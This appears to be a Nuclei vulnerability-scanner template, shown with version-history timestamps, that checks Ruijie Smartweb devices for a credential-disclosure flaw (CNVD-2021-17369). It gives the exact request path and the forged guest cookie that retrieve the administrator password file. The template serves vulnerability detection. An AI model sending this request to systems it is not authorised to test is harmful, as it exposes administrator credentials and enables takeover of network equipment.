2021-06-03 16:24:08 +00:00
id : CNVD-2021-17369
2021-04-14 00:07:08 +00:00
info :
name : Ruijie Smartweb Management System Password Information Disclosure
author : pikpikcu
2022-03-17 17:01:45 +00:00
severity : high
description : The wireless smartweb management system of Ruijie Networks Co., Ltd. has a logic flaw. An attacker can obtain the administrator account and password from a low-privileged user, thereby escalating the low-level privilege to the administrator's privilege.
reference :
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score : 8.3
cwe-id : CWE-522
2022-04-22 10:38:41 +00:00
tags : ruijie,disclosure,cnvd,cnvd2021
2021-04-14 00:07:08 +00:00
requests :
- method : GET
path :
2021-04-14 00:17:12 +00:00
- "{{BaseURL}}/web/xml/webuser-auth.xml"
2021-04-14 00:07:08 +00:00
headers :
2021-04-14 11:30:09 +00:00
Cookie : login=1; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest
2021-04-14 00:07:08 +00:00
matchers-condition : and
matchers :
- type : word
2022-01-04 06:27:10 +00:00
part : body
2021-04-14 00:07:08 +00:00
words :
- "<userauth>"
- "<password>"
2021-04-14 11:30:09 +00:00
condition : and
2021-04-14 00:07:08 +00:00
- type : status
status :
- 200
2022-03-17 17:01:45 +00:00
# Enhanced by mp on 2022/03/16
